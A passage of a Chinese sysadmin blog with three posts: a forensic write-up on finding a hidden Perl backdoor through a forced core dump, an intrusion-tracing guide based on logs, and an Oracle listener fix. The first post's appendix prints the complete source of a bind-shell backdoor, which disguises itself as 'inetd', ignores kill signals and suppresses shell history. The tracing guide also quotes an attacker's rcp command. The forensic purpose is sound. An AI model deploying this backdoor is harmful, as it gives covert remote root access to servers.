root 2812 1 2 18:04 pts/0 00:00:00 inetd
root 2813 2384 0 18:04 pts/0 00:00:00 ps -ef

通过top 检查

#top
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
2812 root 15 0 5928 4184 3064 S 0.0 2.2 0:00.09 perl

显示成perl 进程

通过lsof 检查

debian:/# lsof |grep 2812
apache 2214 root txt REG 8,1 284812 22812 /usr/sbin/apache
apache 2276 www-data txt REG 8,1 284812 22812 /usr/sbin/apache
apache 2277 www-data txt REG 8,1 284812 22812 /usr/sbin/apache
apache 2278 www-data txt REG 8,1 284812 22812 /usr/sbin/apache
apache 2279 www-data txt REG 8,1 284812 22812 /usr/sbin/apache
apache 2290 www-data txt REG 8,1 284812 22812 /usr/sbin/apache
perl 2812 root cwd DIR 8,1 4096 2 /
perl 2812 root rtd DIR 8,1 4096 2 /
perl 2812 root txt REG 8,1 1057324 19396 /usr/bin/perl
perl 2812 root mem REG 8,1 90248 325777 /lib/ld-2.3.2.so
perl 2812 root mem REG 8,1 9872 325808 /lib/tls/libdl-2.3.2.so
perl 2812 root mem REG 8,1 134496 325809 /lib/tls/libm-2.3.2.so
perl 2812 root mem REG 8,1 78233 325819 /lib/tls/libpthread-0.60.so
perl 2812 root mem REG 8,1 1254468 325806 /lib/tls/libc-2.3.2.so
perl 2812 root mem REG 8,1 18876 325807 /lib/tls/libcrypt-2.3.2.so
perl 2812 root mem REG 8,1 290576 33562 /usr/lib/locale/locale-archive
perl 2812 root mem REG 8,1 17920 19420 /usr/lib/perl/5.8.4/auto/IO/IO.so
perl 2812 root mem REG 8,1 22352 19426 /usr/lib/perl/5.8.4/auto/Socket/Socket.so
perl 2812 root mem REG 8,1 114896 19423 /usr/lib/perl/5.8.4/auto/POSIX/POSIX.so
perl 2812 root mem REG 8,1 34748 325814 /lib/tls/libnss_files-2.3.2.so
perl 2812 root 0u CHR 136,0 2 /dev/pts/0
perl 2812 root 1u CHR 136,0 2 /dev/pts/0
perl 2812 root 2u CHR 136,0 2 /dev/pts/0
perl 2812 root 3u IPv4 6116 TCP *:3847 (LISTEN)

通过/proc 检查

debian:/proc/2812# ls -al
total 0
dr-xr-xr-x 3 root root 0 2005-09-17 18:04 .
dr-xr-xr-x 68 root root 0 2005-09-17 13:09 ..
dr-xr-xr-x 2 root root 0 2005-09-17 18:06 attr
-r-------- 1 root root 0 2005-09-17 18:06 auxv
-r--r--r-- 1 root root 0 2005-09-17 18:04 cmdline
lrwxrwxrwx 1 root root 0 2005-09-17 18:05 cwd -> /
-r-------- 1 root root 0 2005-09-17 18:06 environ
lrwxrwxrwx 1 root root 0 2005-09-17 18:05 exe -> /usr/bin/perl
dr-x------ 2 root root 0 2005-09-17 18:04 fd
-r--r--r-- 1 root root 0 2005-09-17 18:05 maps
-rw------- 1 root root 0 2005-09-17 18:06 mem
-r--r--r-- 1 root root 0 2005-09-17 18:06 mounts
lrwxrwxrwx 1 root root 0 2005-09-17 18:05 root -> /
-r--r--r-- 1 root root 0 2005-09-17 18:04 stat
-r--r--r-- 1 root root 0 2005-09-17 18:05 statm
-r--r--r-- 1 root root 0 2005-09-17 18:04 status
dr-xr-xr-x 3 root root 0 2005-09-17 18:06 task
-r--r--r-- 1 root root 0 2005-09-17 18:06 wchan

debian:/proc/2812/fd# ls -al
total 4
dr-x------ 2 root root 0 2005-09-17 18:04 .
dr-xr-xr-x 3 root root 0 2005-09-17 18:04 ..
lrwx------ 1 root root 64 2005-09-17 18:05 0 -> /dev/pts/0
lrwx------ 1 root root 64 2005-09-17 18:05 1 -> /dev/pts/0
lrwx------ 1 root root 64 2005-09-17 18:04 2 -> /dev/pts/0
lrwx------ 1 root root 64 2005-09-17 18:05 3 -> socket:[6116]

此处注意,如果黑客用./coolc.pl 启动后门,在这里就会被显露出来。但是这里我比较狡猾的利用perl 去解释该脚本,因此此处只能显露出socket 了。

难点
常规检查top lsof proc 检查,得到的信息完全无法让我们定位此木马的位置,那么对方是通过什么手段来进行隐藏的呢?
检查了一下代码,它的技巧主要是在于如下两个地方:
1、“$0”被设置为一个虚假的名称:
my $PROC = "inetd"; # name of the process
......
$0=$PROC."\0";

因此在进程中看到进程名是 inetd
2、因为是 perl 脚本后门,他进行了chdir,因此在 proc 里面看到的是 perl 的信息。
$PORT = $ARGV[0] if ($ARGV[0]);
chdir('/');
no strict 'refs';
my $bindfd = *{'bind_sock'};
......
这段代码导致proc 里其路径变为了/,而非程序存在路径。如此看来,整个检查工作在这一步进一步陷入僵局。
前期背景交代中已经阐明,由于服务器文件众多,不易进行诸如find ,grep 等查找。但目前这个后门可能被写在其他脚本中,通过调用关系启动。需要及早查出。
本来通过常规方法,通过进程与文件的关联,使用诸如lsof 等工具软件是可以查出的。但此类工具都是通过proc 的访问来获取文件的,但是目前proc 信息被重写,似乎一切都被擦除的没有了踪迹。

Core_dump 的尝试
采用coredump 思路是这样产生的,目前文件系统,proc 在我们基本确认没有希望获取信息的时候,大多数工具进行检查的意义也不大了。同时由于是PERL 脚本,很多信息只会
表现为perl 进程的信息。
但是也许在一个地方还有我们需要的信息,那就是该进程的内存中残存的信息。而linux 本身提供CORE DUMP 机制,可以让我们通过DUMP 后门进程中的数据,来获取数据。那么下面在我的实验环境中来操作一下我们的思路,看看上述方法是否可行。

检查core dump 环境设置

debian:~# ulimit -a
core file size (blocks, -c) unlimited
data seg size (kbytes, -d) unlimited
file size (blocks, -f) unlimited
max locked memory (kbytes, -l) unlimited
max memory size (kbytes, -m) unlimited
open files (-n) 1024
pipe size (512 bytes, -p) 8
stack size (kbytes, -s) 8192
cpu time (seconds, -t) unlimited
max user processes (-u) unlimited
virtual memory (kbytes, -v) unlimited

启动perl 木马

debian:/# mkdir /tmp/.coolc
debian:/# cp /root/1.pl /tmp/.coolc/coolc.pl
debian:/# perl /tmp/.coolc/coolc.pl

经过检查,后门正常启动。

debian:/# ps -ef
UID PID PPID C STIME TTY TIME CMD
root 1 0 0 13:09 ? 00:00:00 init [2]
root 2 1 0 13:09 ? 00:00:00 [ksoftirqd/0]
root 3 1 0 13:09 ? 00:00:13 [events/0]
root 4 3 0 13:09 ? 00:00:00 [khelper]
root 5 3 0 13:09 ? 00:00:00 [kacpid]
root 38 3 0 13:09 ? 00:00:00 [kblockd/0]
root 48 3 0 13:09 ? 00:00:00 [pdflush]
root 49 3 0 13:09 ? 00:00:00 [pdflush]
root 51 3 0 13:09 ? 00:00:00 [aio/0]
root 50 1 0 13:09 ? 00:00:00 [kswapd0]
root 193 1 0 13:09 ? 00:00:00 [kseriod]
root 214 1 0 13:09 ? 00:00:00 [scsi_eh_0]
root 221 1 0 13:09 ? 00:00:00 [khubd]
root 299 1 0 13:09 ? 00:00:00 [kjournald]
root 1109 1 0 13:10 ? 00:00:00 [pciehpd_event]
root 1129 1 0 13:10 ? 00:00:00 [shpchpd_event]
root 1680 1 0 13:10 ? 00:00:00 dhclient -e -pf /var/run/dhclient.eth0.pid -lf /var/run/dhclient.eth0.leases eth0
root 2024 1 0 13:10 ? 00:00:00 /sbin/syslogd
root 2027 1 0 13:10 ? 00:00:00 /sbin/klogd
Debian- 2059 1 0 13:10 ? 00:00:00 /usr/sbin/exim4 -bd -q30m
root 2065 1 0 13:10 ? 00:00:00 /usr/sbin/inetd
root 2080 1 0 13:10 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
root 2116 2080 0 13:10 ? 00:00:00 /bin/sh /usr/bin/mysqld_safe
mysql 2117 2116 0 13:10 ? 00:00:00 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=mysql --pid-file=/var/run/mysq
root 2118 2116 0 13:10 ? 00:00:00 logger -p daemon.err -t mysqld_safe -i -t mysqld
root 2165 1 0 13:10 ? 00:00:00 /usr/sbin/sshd
daemon 2204 1 0 13:10 ? 00:00:00 /usr/sbin/atd
root 2207 1 0 13:10 ? 00:00:00 /usr/sbin/cron
root 2214 1 0 13:11 ? 00:00:00 /usr/sbin/apache
root 2230 1 0 13:11 tty1 00:00:16 -bash
root 2247 1 0 13:11 tty3 00:00:00 /sbin/getty 38400 tty3
root 2253 1 0 13:11 tty4 00:00:00 /sbin/getty 38400 tty4
root 2259 1 0 13:11 tty5 00:00:00 /sbin/getty 38400 tty5
root 2265 1 0 13:11 tty6 00:00:00 /sbin/getty 38400 tty6
www-data 2276 2214 0 13:11 ? 00:00:00 /usr/sbin/apache
www-data 2277 2214 0 13:11 ? 00:00:00 /usr/sbin/apache
www-data 2278 2214 0 13:11 ? 00:00:00 /usr/sbin/apache
www-data 2279 2214 0 13:11 ? 00:00:00 /usr/sbin/apache
www-data 2290 2214 0 13:11 ? 00:00:00 /usr/sbin/apache
root 2338 1 0 13:18 tty2 00:00:05 -bash
root 2381 2165 0 13:29 ? 00:00:09 sshd: root@pts/0,pts/1
root 2384 2381 0 13:29 pts/0 00:00:00 -bash
root 2401 2381 0 13:30 pts/1 00:00:00 -bash
root 2545 1 1 13:59 pts/0 00:00:00 inetd
root 2546 2384 0 13:59 pts/0 00:00:00 ps -ef

发送信号SIGSEGV 来DUMP 出我们需要的信息。

debian:/# ps –ef
debian:/# kill -SIGSEGV 2545

通过string 来获取字符串。

debian:/#stings core.2545
......
INADDR_LOOPBACK
SelectSaver.pm
croak
carp
Exporter
BEGIN
main
/tmp/.coolc/coolc.pl
import
/tmp/.coolc/coolc.pl
Main

......
找到了 :)

总结

经过多次检查,发现在string 出来的字符串中,在出现perl 路径等信息后,木马加密的字符串之前的内容就是后门路径,通过此方法可以很精确的定位后门位置。很明显这是脚本初始化时保留的信息。

......
/etc/perl
/usr/lib/perl/5.8
/usr/local/lib/perl/5.8.4
/usr/local/share/perl/5.8.4
/usr/lib/perl5
/usr/share/perl5
/usr/share/perl/5.8
/usr/local/lib/site_perl
nux-
/tmp/coolc.pl
/tmp/coolc.pl

ouhEUhhJ6RbwE
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
......

本次检查开阔了我的眼界,在解释器中的后门定位问题远比我想象的要难,因为大量的细节被封装在了解释器内部。在安全检查时,一个精巧的技巧将会使检查人员陷入尴尬的境地,因此我们需要不断的加强深度广度的拓展,一个安全人员的知识覆盖面和对系统的熟悉程度,往往最终决定了你安全检查的成败。
这里特别感谢raymond aa coolq 和我的讨论和技术上的帮助。

附录
木马源码

#!/usr/bin/perl
# Telnet-like Standard Daemon 0.7
#
# 0ldW0lf - oldwolf@atrixteam.net
# - old-wolf@zipmai.com
# - www.atrix.cjb.net
# - www.atrixteam.net
#
# For those guys that still like to open ports
# and use non-rooted boxes
#
# This has been developed to join in the TocToc
# project code, now it's done and I'm distributing
# this separated
#
# This one i made without IO::Pty so it uses
# only standard modules... enjoy it
#
# tested on linux boxes.. probably will work fine on others
# any problem... #atrix@irc.brasnet.org
#

##########################################################
# ******************* CONFIGURATION ******************** #
##########################################################
my $PORT = $ARGV[0] || 3847; # default port is 3847
my $PASS = 'ouhEUhhJ6RbwE'; # encripted password
my $SHELL = "/bin/bash"; # shell to be executed
my $HOME = "/tmp"; # your HOME
my $PROC = "inetd"; # name of the process
my $PASS_PROMPT = "Password: "; # password prompt
my $WRONG_PASS = "Password Errata!"; # "wrong password" message
my @STTY = ('sane', 'dec'); # stty arguments
##########################################################

# feel free to change the ENV
#### ENVironment ####
$ENV{HOME} = $HOME;
#$ENV{PS1} = '[\u@\h \W]: '; # the way i like :)
# colorful PS1 is also funny :)
$ENV{PS1} = '\[\033[3;36m\][\[\033[3;34m\]\[\033[1m\]\u\[\033[3;36m\]@\[\033[0m\]\[\033[3;34m\]\[\033[1m\]\h \[\033[0m\]\[\033[1m\]\W\[\033[0m\]\[\033[3;36m\]]\[\033[0m\]\[\033[1m:\[\033[0m\] ';
$ENV{MAIL} = '/var/mail/root';
$ENV{PATH} = '/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin';
$ENV{HISTFILE} = '/dev/null';
$ENV{USER} = 'root';
$ENV{LOGNAME} = 'root';
$ENV{LS_OPTIONS} = ' --color=auto -F -b -T 0';
$ENV{LS_COLORS} = 'no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:ex=01;32:*.cmd=01;32:*.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.bz2=01;31:*.rpm=01;31:*.deb=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.jpg=01;35:*.gif=01;35:*.bmp=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.mpg=01;37:*.avi=01;37:*.mov=01;37:';
$ENV{SHELL} = $SHELL;
$ENV{TERM} = 'xterm';
#####################

$0=$PROC."\0";

use IO::Socket;
use IO::Select;
use POSIX;
use strict;

# i wouldn't change that
# if i were you
###### SIGnals ######
$SIG{HUP} = 'IGNORE';
$SIG{PS} = 'IGNORE';
$SIG{TERM} = 'IGNORE';
$SIG{CHLD} = sub { wait; };
#####################


# ioctl stuff
my %IOCTLDEF;
$IOCTLDEF{TIOCSWINSZ} = 0x5414;
$IOCTLDEF{TIOCNOTTY} = 0x5422;
$IOCTLDEF{TIOCSCTTY} = 0x540E;
safeload('sys/ttycom.ph', 1); # BSD
safeload('sys/ioctl.ph', 1);
safeload('asm/ioctls.ph', 1);

foreach my $IOCTL (keys(%IOCTLDEF)) {
next if (defined(&{$IOCTL}));

if (open(IOD, "< /usr/include/asm/ioctls.h")) { # linux
while() {
if (/^\#define\s+$IOCTL\s+(.*?)\n$/) {
eval "sub $IOCTL () {$1;}";
last;
}
}
close(IOD);
}

# i realy dunno if i can do that.. but.. here it goes
eval "sub $IOCTL () { $IOCTLDEF{$IOCTL};}" unless (defined(&{$IOCTL}));
}


# starting...
$PORT = $ARGV[0] if ($ARGV[0]);
chdir('/');

no strict 'refs';
my $bindfd = *{'bind_sock'};
*{$bindfd}= IO::Socket::INET->new(Listen => 1, LocalPort => $PORT, Proto => "tcp") || die "could not listen on port $PORT: $!";
my $bind = \*{$bindfd};

my $pid = fork();
die "ERROR: I could not fork() the process." unless defined($pid);
exit if $pid;


my %CLIENT;
my $sel_serv = IO::Select->new($bind);
my $sel_shell = IO::Select->new();


# main loop...
while ( 1 ) {
select(undef,undef,undef, 0.3) if (scalar(keys(%CLIENT)) == 0);

read_clients();
read_shells();
}

sub read_clients {
map { read_client($_) } ($sel_serv->can_read(0.01));
}

sub read_client {
my $fh = shift;

if ($fh eq $bind) {
my $newcon = $bind->accept;
$sel_serv->add($newcon);
$CLIENT{$newcon}->{senha} = 0;
$CLIENT{$newcon}->{sock} = $newcon;
$fh->autoflush(1);
do_client($newcon, '3', '5', '1');
sleep(1);
write_client($newcon, $PASS_PROMPT) if ($PASS_PROMPT);
} else {
my $msg;
my $nread = sysread($fh, $msg, 1024);

if ($nread == 0) {
close_client($fh);
} else {
telnet_parse($fh, $msg);
}
}
}

sub read_shells {
map { read_shell($_) } ($sel_shell->can_read(0.01));
}

sub telnet_parse {
my ($cli, $msg) = @_;
my $char = (split('', $msg))[0];

if (ord($char) == 255) {
chr_parse($cli, $msg);
} else {
if ($CLIENT{$cli}->{senha} == 0) {
$CLIENT{$cli}->{buf} .= $msg;

return() unless ($msg =~ /\r|\n/);

my $pass = $CLIENT{$cli}->{buf};
$CLIENT{$cli}->{buf} = '';

$pass =~ s/\n//g;
$pass =~ s/\0//g;
$pass =~ s/\r//g;

if (crypt($pass, $PASS) ne $PASS) {
finish_client($cli, "\r\n\r".$WRONG_PASS."\r\n\r");
} else {
$CLIENT{$cli}->{senha} = 1;
write_client($cli, chr(255).chr(253).chr(31));
write_client($cli, "\r\n\r\r\n\r");
new_shell($cli);
}
return();
}

$msg =~ s/\r\n\0\0//g;
$msg =~ s/\0//g;
$msg =~ s/\r\n/\n/g;
write_shell($cli, $msg);
}
}

sub read_shell {
my $shell = shift;
my $cli;
map { $cli = $CLIENT{$_}->{sock} if ($CLIENT{$_}->{shell} eq $shell) } keys(%CLIENT);

my $msg;
my $nread = sysread($shell, $msg, 1024);

if ($nread == 0) {
finish_client($cli, "Terminal closed.\r\n\r");
} else {
write_client($cli, $msg);
}
}

sub to_chr {
my $chrs = '';
map { $chrs .= chr($_) } (split(/ +/, shift));
return($chrs);
}

sub do_client {
my ($client, @codes) = @_;
map { write_client($client, chr(255).chr(251).chr($_)) } @codes;
}


sub chr_parse {
my ($client, $chrs) = @_;

my $ords = '';
map { $ords .= ord($_).' ' } (split(//, $chrs));
my $msg = '';


if ($ords =~ /255 250 31 (\d+) (\d+) (\d+) (\d+)/) {
my $winsize = pack('C4', $4, $3, $2, $1);
ioctl($CLIENT{$client}->{shell}, &TIOCSWINSZ, $winsize);# || die "erro: $!";
}

foreach my $code (split("255 ", $ords)) {
if ($code =~ /(\d+) (.*)$/) {
my $codes = $2;
if ($1 == 251) {
# do whatever you want dude ehehe
$msg .= chr(255).chr(253);

map { $msg .= chr($_) } (split(/ +/, $codes));
}
}
}

write_client($client, $msg) if ($msg);
return(1);
}

sub new_shell {
my $cli = shift;

POSIX::setpgid(0, 0);

my ($tty, $pty);

unless (($tty, $pty) = open_tty($cli)) {
finish_client($cli, "ERROR: No more pty磗 avaliable\n");
return(undef);
}

my $pid = fork();
if (not defined($pid)) {
finish_client($cli, "ERROR: fork()\n");
return(undef);
}

unless($pid) {
close($pty);

local(*DEVTTY);

if (open (DEVTTY, "/dev/tty")) {
ioctl(DEVTTY, &TIOCNOTTY, 0 );# || die "erro: $!";
close(DEVTTY);
}

POSIX::setsid();
ioctl($tty, &TIOCSCTTY, 0);# || die "erro: $!";

open (STDIN, "<&".fileno($tty)) || die "I could not reopen STDIN: $!";
open (STDOUT, ">&".fileno($tty)) || die "I could not reopen STDOUT: $!";
open (STDERR, ">&".fileno($tty)) || die "I could not reopen STDERR: $!";
close($tty);

sleep(1);

foreach my $stty ("/bin/stty", "/usr/bin/stty") {
next unless (-x $stty);
map { system("$stty", $_) } @STTY;
}

chdir("$HOME");
{ exec("$SHELL") };

syswrite(STDOUT, "\n\nERROR: exec($SHELL)\n\nI could not execute the shell ($SHELL)\nHowever you are lucky :P\nYou can use the \"I'm FUCKED!\" mode and fix up this thing...\nTip: Find some shell and execute it ;)\n\n");
syswrite(STDOUT, "\n\nOK! I'm Fucked mode.\n");
syswrite(STDOUT, "Type ^C to exit\n\nI'm FuCKeD!# ");

while (my $msg = ) {
$msg =~ s/\n$//;
$msg =~ s/\r$//;

if ($msg =~ /^\s*cd\s+(\S+)/) {
my $notf = "directory $1 not found!\n";
chdir($1) || syswrite(STDOUT, $notf, length($notf));
} else {
system("$msg 2>&1");
}
syswrite(STDOUT, "I'm FuCKeD!# ");
}

exit;
}
close($tty);

select($pty); $| = 1;
select(STDOUT);

set_raw($pty);

$CLIENT{$cli}->{shell} = $pty;
$sel_shell->add($pty);

return(1);
}

# Funciton set_raw() stolen from IO::Pty
sub set_raw($) {
my $self = shift;
return 1 if not POSIX::isatty($self);
my $ttyno = fileno($self);
my $termios = new POSIX::Termios;
unless ($termios) {
# warn "set_raw: new POSIX::Termios failed: $!";
return undef;
}
unless ($termios->getattr($ttyno)) {
# warn "set_raw: getattr($ttyno) failed: $!";
return undef;
}
$termios->setiflag(0);
$termios->setoflag(0);
$termios->setlflag(0);
$termios->setcc(&POSIX::VMIN, 1);
$termios->setcc(&POSIX::VTIME, 0);
unless ($termios->setattr($ttyno, &POSIX::TCSANOW)) {
# warn "set_raw: setattr($ttyno) failed: $!";
return undef;
}
return 1;
}

sub open_tty {
no strict;
my $cli = shift;
my ($PTY, $TTY) = (*{"pty.$cli"}, *{"tty.$cli"}); # believe me old versions :/


for (my $i = 0; $i < 256; $i++) {
my $pty = get_tty($i, "/dev/pty");
next unless (open($PTY, "+> $pty"));

my $tty = get_tty($i, "/dev/tty");

unless(open($TTY, "+> $tty")) {
close($PTY);
next;
}

return($TTY, $PTY);

}

return();
}

sub get_tty {
my ($num, $base) = @_;

my @series = ('p' .. 'z', 'a' .. 'e');
my @subs = ('0' .. '9', 'a' .. 'f');

my $buf = $base;
$buf .= @series[($num >> 4) & 0xF];
$buf .= @subs[$num & 0xF];

return($buf);
}

sub safeload {
my ($module, $require, $arg) = @_;
my $file = $module;
$file =~ s/::/\//g;

if ($require) {
# all found gonna be loaded
map { eval ("require \"$_/$file\";") if(-f "$_/$file"); } @INC;
} else {
$file .= ".pm" unless ($file =~ /(\.pm|\.ph)$/);
return(eval("use $module $arg;")) if (grep { -f "$_/$file" } @INC);
}

return();
}

sub write_shell {
my ($cli, $msg) = @_;
my $shell = $CLIENT{$cli}->{shell};

return(undef) unless ($shell);

foreach my $m (split_chars($msg, 20)) {
read_shells();
print $shell $m;
read_shells();
}
return(1);
}

sub split_chars {
my ($msg, $nchars) = @_;

my @splited;
my @chrs = split ('', $msg);
my $done = 0;
while ( 1 ) {
my $splited = join('', @chrs[$done .. ($done+$nchars-1)]);
$done += $nchars;
last if (length($splited) < 1);
push(@splited, $splited);
}
return(@splited);
}

sub finish_client {
my ($cli, $msg) = @_;
write_client($cli, $msg);
close_client($cli);
}

sub close_client {
my $cli = shift;
my $sock = $CLIENT{$cli}->{sock};

$sel_serv->remove($sock);
if ($CLIENT{$cli}->{shell}) {
my $shell = $CLIENT{$cli}->{shell};
$sel_shell->remove($shell);
close($shell);
}
$sock->close() if($sock);
delete($CLIENT{$cli});
}

sub write_client {
my ($cli, $msg) = @_;
my $sock = $CLIENT{$cli}->{sock};
syswrite($sock, $msg, length($msg)) if ($sock);
}

Posted by vitter at 2006-02-21 13:22:34 | 评论 (3) | 引用

Unix 的入侵追踪

在*NIX系统遭受入侵后,确定损失及入侵者的攻击源地址相当重要。虽然在大多数入侵者懂得使用曾被他们攻陷的机器作为跳板来攻击你的服务器可在他们发动正式攻击前所做的目标信息收集工作(试探性扫描)常常是从他们的工作机开始的,本篇介绍如何从遭受入侵的系统的日志中分析出入侵者的IP并加以确定的。
1.messages

  /var/adm是UNIX的日志目录(linux下则是/var/log)。有相当多的ASCII文本格式的日志保存之下,当然 ,让我们把焦点首先集中在messages 这个文件,这也是入侵者所关心的文件,它记录了来自系统级别的信息。在这里,大量的日志记录对于我们是无用的。
  比如:
  Apr 25 21:49:30 2000 unix: Copyright (c) 1983-1997, Sun Microsystems, Inc.
  Apr 25 21:49:30 2000 unix: mem = 262144K (0x10000000)

  这样显示版权或者硬件信息的记录而:
  Apr 29 19:06:47 www login[28845]: FAILED LOGIN 1 FROM xxx.xxx.xxx.xxx ,
  User not known to the underlying authentication module

  这样的登录失败记录:
  Apr 29 22:05:45 game PAM_pwdb[29509]: (login) session opened for user ncx by (uid=0)因此第一步应该是 Kill -HUP cat `/var/run/syslogd.pid`(当然,有可能入侵者已经帮我们做过了,;-)那样我们得不到任何有用信息)

  在下面这个网址你可以找到大量的日志审计分析工具或者脚:
http://www.securityfocus.com/templates/tools_category.html?category=2&platform=&path=[%20auditing%20][%2-0log%20analysis%20]


2.wtmp,utmp logs,ftp日志

  你能够在/var/adm,/var/log,/etc目录中找到名为wtmp,utmp的文件,这记录着用户何时,何地telnet上主机, 在黑客中最古老也是最流行的zap2(编译后的文件名一般叫做z2,或者是叫wipe). 也是用来抹掉在这两个文件中用户登录的信息的,然而由于懒惰或者糟糕的网络速度(>3秒的echo就令人崩溃,而我经常遇见10 倍于此的回显时间 ),很多入侵者没有上载或编译这个文件,管理员所需要就是使用lastlog这个命令来获得入侵者上次连接的源地址( 当然,这个地址有可能是他们的一个跳板)ftp日志一般是/var/log/xferlog,该文本形式的文件详细的记录了以FTP 方式上传文件的时间,来源,文件名等等。不过由于该日志太明显,所以稍微高明些的入侵者几乎不会使用该方法来传文件。而使用rcp的较普遍些.当然你可以# cat /var/log/xferlog | grep -v 202.106.147.来查看那些不应该出现的地址。


3.sh_history

  在获得root 权限后,入侵者建立了他们自己的入侵帐号,更高级的技巧是给类似uucp,lp不常使用的系统用户名加上密码。在遭受入侵后,即使入侵者删除了.sh_history或者.bash_hi-story 这样的文件,执行kill -HUP `cat /var/run/inetd.conf`即可将保留在内存页中的bash命令记录重新写回到磁盘,然后执行find / -name.sh_historyprint,仔细查看每个可疑的shell命令日志。尤其是当你在/usr/spool/lp(lp home dir),/usr/lib/uucp/(uucp home dir)这样的目录下找了.sh_history文件时。往往入侵者在需要目标机和工作机传送文件时为了避免被syslog,可能使用从目标机ftp到工作机的方法,因此在sh_history中你有可能发现类似ftp xxx.xxx.xxx.xxx或者rcpnobody@xxx.xxx.xxx.xxx:/tmp/backdoor /tmp/backdoor这样显示出入侵者IP或域名的命令。


5.http服务器日志

  这很有可能是确定入侵者的真实攻击发源地的最有效方法。以最流行的apache服务器为例,在?${prefix}/logs/ 目录下你可以发现access.log这个文件,该文件记载了访问者的IP,访问的时间和请求访问的内容。在遭受入侵后,我们应该可以在该文件中发现类似下面的:record:xxx.xxx.xxx.xxx - - [28/Apr/2000:00:29:05 -0800] "GET/cgi-bin/rguest.exe"404 -xxx.xxx.xxx.xxx - - [28/Apr/2000:00:28:57 -0800] "GET /msads/Samples/SELECTOR/showcode.asp" 404 -来自IP为xxx.xxx.xxx.xxx的某人在2000年4月28号的0点28分试图访问/msads/Samples/SELECTOR/showcode.asp文件,这是在使用web cgi扫描器后遗留下的日志。大部分的web扫描器都是基于MS操作系统的,而为了更快的速度,使用基于*nix的扫描器的入侵者常选择离自己最近的服务器。结合攻击时间和IP,我们可以知道入侵者的大量信息。


6.核心dump

  这是一种相对较复杂的方法,但是也有效 。一个安全稳定的守护进程在正常运行的时候是不会dump出系统的核心,当入侵者利用远程漏洞攻击时,许多服务正在执行一个getpeername的socket 函数调用(参见socket编程),因此入侵者的IP也保存在内存中,此时服务overflow ,系统p 内存页文件被dump到core文件,这意味着你可能在一大段杂乱无章的字符中(事实上是一个全局数据库中的进程变量)找到一个包含有执行此expoloit的IP。BTW: 这段是参考了http://members.tripod.com/mixtersecurity/paper.html后写出的,我做了一个cmsd的远程攻击测试,但只在中间找到了入侵者远程overflow的部分命令,没有找到IP。不过这仍有理由相信Mixter(paper.html的作者)的话。


7.代理服务器日志

  代理是大中型企业网常使用来做为内外信息交换的一个接口,它忠实地记录着每一个用户所访问的内容,当然,也包括入侵者的访问内容。以最常用的squid代理为例,通常你可以在/usr/local/squid/logs/下找到access.log 这个庞大的日志文件,当然,由于日志记录添加得很快,在安全事故后应该及时备份它。你可以在以下地址获得squid的日志分析脚本:http://www.squid-cache.org/Doc/Users-Guide/added/stats.html通过对敏感文件访问日志的分析,可以知道何人在何时访问了这些本该保密的内容。


8.路由器日志

  默认方式下路由器不会记录任何扫描和登录,因此入侵者常用它做跳板来进行攻击。如果你的企业网被划分为军事区和非军事区的话,添加路由器的日志记录将有助于日后追踪入侵者。更重要的是,对于管理员来说,这样的设置能确定攻击者到底是内贼还是外盗。当然,你需要额外的一台服务器来放置router.log文件。

  在CISCO路由器上:
  router(config)# logging faclity syslog
  router(config)# logging trap informational
  router(config)# logging [服务器名]
  在log server上:
  I.在/etc/syslog.conf中加入一行:
  *.info /var/log/router.log
  II.生成文件日志文件:
  touch /var/log/router.log
  III.重起syslogd进程:
  kill -HUP `cat /var/run/syslogd.pid`

  对于入侵者来说,在实施攻击的整个过程中不与目标机试图建立tcp连接是不太可能的,这里有许多入侵者主观和客观的原因, 而且在实施攻击中不留下日志也是相当困难的。如果我们花上足够的时间和精力,是可以从大量的日志中分析出我们希望的信息。 就入侵者的行为心理而言,他们在目标机上取得的权限越大,他们就越倾向于保守的方式来建立与目标机的连接 。仔细分析早期的日志,尤其是包含有扫描的部分,我们能有更大的收获。


  日志审计只是作为入侵后的被动防御手段。主动的是加强自身的学习,及时升级或更新系统。做到有备无患才是最有效的防止入侵的方法。

Posted by vitter at 2006-02-21 13:21:25 | 评论 (0) | 引用

February 20, 2006

oracle 错误:Starting Listener Gives TNS-12547解决

今天发现一oracle的Listener down掉,重新start时候报以下错误

LSNRCTL for Linux: Version 8.1.7.0.0 - Production on 20-FEB-2006 15:58:21

(c) Copyright 1998 Oracle Corporation. All rights reserved.

Welcome to LSNRCTL, type "help" for information.

LSNRCTL> start
Starting /oracle/bin/tnslsnr: please wait...

TNS-12547: TNS:lost contact
TNS-12560: TNS:protocol adapter error
TNS-00517: Lost contact
Linux Error: 32: Broken pipe


最后发现Oracle在Linux上Listener的log大小有2G的限制。

$ ll -h
total 2.1G
-rw-rw-r-- 1 oracle oracle 2.1G Feb 20 15:55 listener.log
-rw-rw-r-- 1 oracle oracle 89k Dec 26 08:56 sqlnet.log

$ mv listener.log listener.old

$ lsnrctl start

LSNRCTL for Linux: Version 8.1.7.0.0 - Production on 20-FEB-2006 16:01:04

(c) Copyright 1998 Oracle Corporation. All rights reserved.

Starting /oracle/bin/tnslsnr: please wait...

TNSLSNR for Linux: Version 8.1.7.0.0 - Production
System parameter file is /oracle/network/admin/listener.ora
Log messages written to /oracle/network/log/listener.log
Listening on: (DESCRIPTION=(ADDRESS=(PROTOCOL=ipc)(KEY=EXTPROC)))
Listening on: (DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=192.168.0.3)(PORT=1521)))

Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=IPC)(KEY=EXTPROC)))
STATUS of the LISTENER
------------------------
Alias LISTENER
Version TNSLSNR for Linux: Version 8.1.7.0.0 - Production
Start Date 20-FEB-2006 16:01:05
Uptime 0 days 0 hr. 0 min. 0 sec
Trace Level off
Security OFF
SNMP OFF
Listener Parameter File /oracle/network/admin/listener.ora
Listener Log File /oracle/network/log/listener.log
